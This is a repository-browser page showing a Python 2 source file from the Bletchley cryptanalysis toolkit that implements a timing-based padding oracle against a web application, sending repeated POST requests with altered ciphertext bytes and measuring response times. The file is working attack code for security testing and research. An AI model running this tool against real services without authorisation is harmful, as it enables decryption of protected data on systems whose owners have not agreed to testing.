source: lib/bletchley/PaddingOracle/TimingWebPaddingOracle.py @ 3

Last change on this file since 3 was 3, checked in by tmorgan, 12 years ago

fixed python2-isms
added PaddingOracle? package to install script

File size: 5.5 KB
Line 
1'''
2Created on Sep 21, 2010
3
4Copyright (C) 2010 ELOI SANFÈLIX
5@author: Eloi Sanfelix < eloi AT limited-entropy.com >
6
7 This program is free software: you can redistribute it and/or modify
8 it under the terms of the GNU Lesser General Public License, version 3,
9 as published by the Free Software Foundation.
10
11 This program is distributed in the hope that it will be useful,
12 but WITHOUT ANY WARRANTY; without even the implied warranty of
13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
14 GNU General Public License for more details.
15
16 You should have received a copy of the GNU General Public License
17 along with this program.  If not, see <http://www.gnu.org/licenses/>.
18'''
19
20from time import *
21from urllib import urlencode
22from urllib2 import *
23import struct
24import urllib2
25
26class TimingWebPaddingOracle:
27   
28    def __init__(self, url , encoder = None, decoder = None, requests=100,headers = {}):
29        #Initialize Request with URL and headers
30        #self.req = Request(url,headers)
31        self.url = url
32        self.headers = headers
33        self.data = {}
34        self.oracle_name = ""
35        self.oracle_value = ""
36        self.time_threshold = None
37        self.requests = requests
38       
39        if(encoder== None and decoder!=None) or (encoder!=None and decoder==None):
40            print("ERROR: Encoder and decoder must be both set or not set at all. Disabling both.")
41            self.encoder = None
42            self.decoder = None
43        else:
44            self.encoder = encoder
45            self.decoder = decoder
46       
47    def add_variable(self,name,value, oracle=False):
48        if(oracle):
49            #Data is defined as being vulnerable to oracle attack.
50            self.oracle_name = name
51            self.oracle_value = value
52        else:
53            #Add to dictionary with data
54            self.data[name] = value
55   
56    def analyze_normal_request(self):
57       
58        newdict = self.data.copy()
59        newdict[self.oracle_name] = self.oracle_value
60        r = urlencode(newdict)
61        #r = ""
62        #for i in self.data:
63        #    r = r + str(i)+"="+urlencode(self.data[i])+"&"
64        #r = r + str(self.oracle_name) + "=" + urlencode(self.oracle_value)
65        return self.analyze_request(r)
66   
67    def analyze_request(self,data):
68        t = 0
69        for i in range(self.requests):
70            t += self.perform_request(data)
71        return t/self.requests
72   
73    def perform_request(self,r):
74        t = time.time()
75        req = Request(self.url,self.headers)
76        req.add_data(r)
77        f = urllib2.urlopen(req)
78        f.read() # Read result from page
79        t = time.time() - t
80        return t
81       
82    def test_oracle(self):
83        if(self.oracle_name == None or self.oracle_value == None):
84            print("ERROR: Cannot test_oracle if no oracle variable defined")
85            return
86       
87        #Perform 'normal' analysis first
88        time1 = self.analyze_normal_request()           
89       
90        #Decode value if needed
91        if(self.decoder != None):
92            value = self.decoder(self.oracle_value)
93        else:
94            value = self.oracle_value
95       
96        oracle_list = [struct.unpack("B", value[i])[0] for i in range(len(value))]
97       
98        oracle_list[-1] ^= 0xFF #Ensure we always start with a different value
99
100        for b in range(256):
101            # XOR current counter. Last byte is now b^0xFF^i = ~b ^ i
102            oracle_list[-1] ^=b
103            v = "".join([struct.pack("B", i) for i in oracle_list])
104            if (self.encoder != None):
105                v = self.encoder(v)
106           
107            newdict = self.data.copy()
108            newdict[self.oracle_name] = v
109            r = urlencode(newdict)
110           
111            #And return to original value
112            oracle_list[-1] ^=b
113           
114            time2 = self.analyze_request(r)
115           
116            #FIXME most likely this will find a difference
117            if(time1 != time2):
118                print("Found difference for i="+hex(b))
119                print("Original timing: " + str(time1))
120                print("Bad timing: " + str(time2))
121                self.time_threshold = abs(time1 - time2) / 2 + min(time1,time2)
122                if(time1 > time2):
123                    self.oracle_type = 0x01 #Normal timing is higher than threshold
124                else:
125                    self.oracle_type = 0x02 #Normal timing is lower than threshold
126                return True
127        print("ERROR: Could not find a difference.")
128        return False
129   
130    def oracle(self,ctext):
131        if(self.time_threshold == None):
132            print("ERROR: Oracle not defined!")
133        else:
134           
135            newdict = self.data.copy()
136            if(self.encoder != None):
137                ctext = self.encoder(ctext) #Encode ciphertext before sending request if needed
138            newdict[self.oracle_name] = ctext
139           
140            r = urlencode(newdict)
141            t = self.analyze_request(r)
142           
143            if (self.oracle_type == 0x01 ):
144                ret = self.time_threshold < t #Padding is correct if time above threshold
145            else:
146                ret = self.time_threshold > t #Padding is incorrect if time above threshold
147            return ret
148       
149    def set_threshold(self,threshold):
150        self.time_threshold = threshold
151   
152    def set_type(self,type):
153        self.oracle_type = type #0x01 means correct padding takes more time   
154   
155    def hex_string(self,data):
156        return "".join([ hex(ord(i))+" " for i in data])
Note: See TracBrowser for help on using the repository browser.